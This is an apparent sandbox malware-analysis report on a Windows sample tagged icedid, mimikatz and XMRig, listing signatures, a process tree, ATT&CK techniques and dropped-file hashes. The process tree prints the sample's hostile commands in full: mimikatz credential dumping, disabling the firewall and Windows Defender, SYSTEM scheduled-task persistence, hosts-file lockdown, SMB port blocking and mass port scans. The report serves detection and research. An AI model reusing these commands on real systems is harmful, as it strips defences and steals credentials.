Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
-
submitted
15/04/2024, 17:56
General
-
Target
2024-04-15_ccca674d0287ac9f6511b67b1ab1490c_hacktools_icedid_mimikatz.exe
-
Size
8.4MB
-
MD5
ccca674d0287ac9f6511b67b1ab1490c
-
SHA1
25ddf41795ed5f2674964e3ed265a9a887ce5854
-
SHA256
292719770628df323f33487453c63a30aed97a1b840fe97a6813de4884fafc71
-
SHA512
3827c722ba52d1735e5e3f476b6de497edc43d5a848a9615f0ae75c1600f21a26726fff15776bc0810fa1de98130018736d62b87509b61eca5f3e42c2a88b4d4
-
SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (29780) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
-
UPX dump on OEP (original entry point) 36 IoCs
-
XMRig Miner payload 12 IoCs
-
mimikatz is an open source tool to dump credentials on Windows 4 IoCs
-
Drops file in Drivers directory 3 IoCs
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Sets file execution options in registry 2 TTPs 40 IoCs
-
Executes dropped EXE 25 IoCs
-
Loads dropped DLL 12 IoCs
-
UPX packed file 33 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
-
Drops file in Program Files directory 3 IoCs
-
Drops file in Windows directory 60 IoCs
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 3 IoCs
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 37 IoCs
-
Modifies registry class 14 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 15 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 20 IoCs
-
Suspicious use of SetWindowsHookEx 12 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\sznfabtfp\inulzz.exe"C:\Windows\TEMP\sznfabtfp\inulzz.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2024-04-15_ccca674d0287ac9f6511b67b1ab1490c_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-15_ccca674d0287ac9f6511b67b1ab1490c_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\iucietzz\fkzncnp.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
-
-
C:\Windows\iucietzz\fkzncnp.exeC:\Windows\iucietzz\fkzncnp.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\iucietzz\fkzncnp.exeC:\Windows\iucietzz\fkzncnp.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\uhgrfftff\bzlztzfpc\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\uhgrfftff\bzlztzfpc\wpcap.exeC:\Windows\uhgrfftff\bzlztzfpc\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\uhgrfftff\bzlztzfpc\gfeiclpfz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\uhgrfftff\bzlztzfpc\Scant.txt2⤵
-
C:\Windows\uhgrfftff\bzlztzfpc\gfeiclpfz.exeC:\Windows\uhgrfftff\bzlztzfpc\gfeiclpfz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\uhgrfftff\bzlztzfpc\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\uhgrfftff\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\uhgrfftff\Corporate\log.txt2⤵
- Drops file in Windows directory
-
C:\Windows\uhgrfftff\Corporate\vfshost.exeC:\Windows\uhgrfftff\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uucimkgfc" /ru system /tr "cmd /c C:\Windows\ime\fkzncnp.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uucimkgfc" /ru system /tr "cmd /c C:\Windows\ime\fkzncnp.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "etcfbrpzj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\iucietzz\fkzncnp.exe /p everyone:F"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "etcfbrpzj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\iucietzz\fkzncnp.exe /p everyone:F"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "beztplgfj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\sznfabtfp\inulzz.exe /p everyone:F"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "beztplgfj" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\sznfabtfp\inulzz.exe /p everyone:F"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 780 C:\Windows\TEMP\uhgrfftff\780.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 60 C:\Windows\TEMP\uhgrfftff\60.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 2164 C:\Windows\TEMP\uhgrfftff\2164.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 2528 C:\Windows\TEMP\uhgrfftff\2528.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 2676 C:\Windows\TEMP\uhgrfftff\2676.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 2788 C:\Windows\TEMP\uhgrfftff\2788.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 3120 C:\Windows\TEMP\uhgrfftff\3120.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 3816 C:\Windows\TEMP\uhgrfftff\3816.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 3916 C:\Windows\TEMP\uhgrfftff\3916.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 3980 C:\Windows\TEMP\uhgrfftff\3980.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 4076 C:\Windows\TEMP\uhgrfftff\4076.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 3584 C:\Windows\TEMP\uhgrfftff\3584.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 1996 C:\Windows\TEMP\uhgrfftff\1996.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exeC:\Windows\TEMP\uhgrfftff\fcfuzzpkz.exe -accepteula -mp 688 C:\Windows\TEMP\uhgrfftff\688.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\uhgrfftff\bzlztzfpc\scan.bat2⤵
-
C:\Windows\uhgrfftff\bzlztzfpc\ktsfzggli.exektsfzggli.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\ewmksq.exeC:\Windows\SysWOW64\ewmksq.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\sznfabtfp\inulzz.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\sznfabtfp\inulzz.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\iucietzz\fkzncnp.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\iucietzz\fkzncnp.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\fkzncnp.exe1⤵
-
C:\Windows\ime\fkzncnp.exeC:\Windows\ime\fkzncnp.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\iucietzz\fkzncnp.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\iucietzz\fkzncnp.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\sznfabtfp\inulzz.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\sznfabtfp\inulzz.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\fkzncnp.exe1⤵
-
C:\Windows\ime\fkzncnp.exeC:\Windows\ime\fkzncnp.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
1.2MB
MD5497e1f9146900ec7f0e63c10f30afc75
SHA12f68026e88861708239059cec644d948d9f87824
SHA256444857f3623281182929e92b6504fa80966ee8a32721c58b2b142d18084e4882
SHA51245f14a791ace5999d5251f3b17a0117a09af13e1ca0de6c4ce2aea4dfe0dfec7461be782c2e1e7d07aaf33a52a68800173ff1d9549d3e8648cb3bf2e47a0b343
-
Filesize
4.2MB
MD56158a7043f74ac92f05536f6ad707183
SHA114d88e657e365abd326f7a350d9377446da9feca
SHA256032dffe6f41d044c005e43060179c82fe09c806e64f2695e1ee7791caccae976
SHA5125531029e0f7f8bb5a8371f24abf0e2765e80cedeb037be3a3e1bd0d8d30f2b4701f22ddb4836c4c0df84eb866daff7451743b736be511b63b1cdd282ece24888
-
Filesize
3.8MB
MD5163893ad2d6902e97d24ab3ed4af3974
SHA16839660aed268dffeea2f3679e0e750adfe3915f
SHA256112bdee6e528ef4e9faf838e75c9f909ce411311f27634df77e8dba9b7534ad4
SHA512d2c25cd3cda22e9bc409edb0c16cb8554cecee9607e9e165007ff6717134f0f04c6b5d932a85601f3044318210df6c9facd69e8bdd4f84ca80fb0309dc2fdbba
-
Filesize
3.0MB
MD5b72bf1d8ef959b5aafc991570b08abce
SHA14537779f94eb7c9d27089e23f9b13240bf15af1d
SHA256dd45933c7c5b675e76d6e780a1d2e59c163faa97dc8d6a01241e94b4c762dbe3
SHA512d67e9e077735b72689e4f6f8a417969a5d491720ee54827dcec205c9a1126e1a5837428e49a5bf36f35591422b9267bce84f4ad45fa4cae4b1ae1a59d47cc6e9
-
Filesize
7.6MB
MD5d6e080c5c8538dba9399c48d96cf7f09
SHA19d2a6f8be2e36f595b819fad775c3872b3aaa857
SHA256d8da627f6540367ea4e1fa74ad9563fb13e1f21b00541dc1e2c072ac0363bc10
SHA5127bec9f9e52d904cce29d36ad7c31879aefd06e2ce169e6a306629f207e175ab93849571acce042a37b0943d202891450ead3c1a99164840aa568834cd7f67324
-
Filesize
810KB
MD56a94c355dbe6a88b3757c14c391b8ff4
SHA13cfeca5cb0c46d6016c96baedcc9dd9869866d3b
SHA2561788725f8b815c610458564ad5dc77bbf1f1b7f3ad79cb16ae6599e468f6c35f
SHA512a1130a3000bee9148b0b97e49a721b374d545fe5dbebfd10ab0feec95701f7355505a9b1bf0ccf4da0b8111c2293aa8f26c913665f6a3a4cd6fc0694377920ac
-
Filesize
26.1MB
MD5558b5117692a38a315d7bdf8f94daf00
SHA162cf156784ba969b4ad40faeea908eb85314c212
SHA256c8fe6eb61f17bb062e0b646b071e762cba49a742340637221d6194fb95883d1c
SHA5120cabe201879b95a633509679fde11ab646a45271d245c022c31b2124f4325ec13664d44a3a52bbe69fea6dcf4c37e45fc602ce2eed948de5d47afc9ce34fcb7a
-
Filesize
2.8MB
MD5776e4a826b8c7e33d4f7ff8c99373a91
SHA1196c7ee3aa6351e2634bc0586453810ddbd98f22
SHA2568d368dc47da2f41afcebaced60c41cdf3ef9511367bd720729f0797a09faff72
SHA512eee1dac7d62ce229ad8aff7bb19abec4078af61cc60130d52c2d18a794a36a50e2199b792ab16729a16b1daab4536ad4ea699982770e56c00475291d956d1dd4
-
Filesize
20.6MB
MD540b28acea305cf51acdaa38c0b0558de
SHA1785b32138bf6fc47bd51858e8e0673aa96df82be
SHA25653186b6a6cb35715a93eceb46d51355cd7c98f14821883cdd5422c1c5c912833
SHA512aaad64f334f7e43cb3b7658afb3563d75c8a0db37a7603c9fa08632edc1c6818ec08359ab4ad2d00cfe4620351ccd1fe26bd72ff8dd973867d0ea03bc1831927
-
Filesize
6.8MB
MD5ea050196d930f75f9d6bcf2607770d89
SHA181d16df5b473a7215e13779bf7e6a27c85ed681d
SHA256cd965556a00e4a40ce9940d48b99a4294eeb0b5163c983f766e98b47b8b36e67
SHA512f091adc87e1267e71e6212a7c694866b6c72014a0cb683dbd96ec55bf056839d53bfe3e96024424ed38f0a4c89f42bf6a98a3d6355992ec0fe3d8f8dd62036c1
-
Filesize
45.1MB
MD546c78ac39b2f000306b14bea0fbddb3d
SHA15d6364b4400be02f16e2709d445f41ae918a1187
SHA256b0f83dff47608bc0d1fff63affa1fe263efabbabec53fb1ad6857b5dbce00428
SHA512f2ecff1c4d78628d39fed19251437a65c99151c525681653bd3089a44c2d43f04c3a7eadfcd6cb8e290d8dcad1eb1e9098a0a8582af835108a66a258d3a7129d
-
Filesize
33.8MB
MD5962a00d0a4c9d360475a9df4ba046896
SHA13d5456189a34760ed39b9dfb2f2badd8a1a392b7
SHA2564a12b79bc083bc588d67435bce6725d1e1c09ca1d744b2ff224accdc38477f9c
SHA5123efb9345c9e8ed31fdf378d6b91bb9c000c146b65fa29bb0106ca6b0ddcb5503f37ad29a67ac8d8413e30d33529dfc6d1a3dd04ea0d0bce16e54bfbc4d361c12
-
Filesize
8.6MB
MD5c0b83fbce8072b9ac5196df5464cd422
SHA1e5974e5c0f6fe1ca10f7aba78791b8b7d3de9206
SHA256b90a4f5c9d379e9e3fc455e9638bb537c106392f53b25a9b08a7630a93c65ad2
SHA512c94025887aad2a604e9626a9789080cf6ddb00e4a334921025d4c05fd6a0508bbd1fc2608bb9541668924968dd19b834cb1acc1d7bc8d7d796aa664e56803d04
-
Filesize
1019KB
MD5ced00fc3f664aa67e03f1a02295a9a79
SHA1ed469d50ff77e0225718d5b196ee854becca4ec4
SHA2561fe6e2d6ca85ca3e9852fdbdac03cb3bd7faf8f9a4464637469d506a3c25c610
SHA5127dd7ea02208a3e45353b097ebba1774db396f7768eb0e4372d307955607afb4d95625108a9b9cec4a6de6e9cd2b00fd9d7d2a37b9054fcd42369652b4cca3fec
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
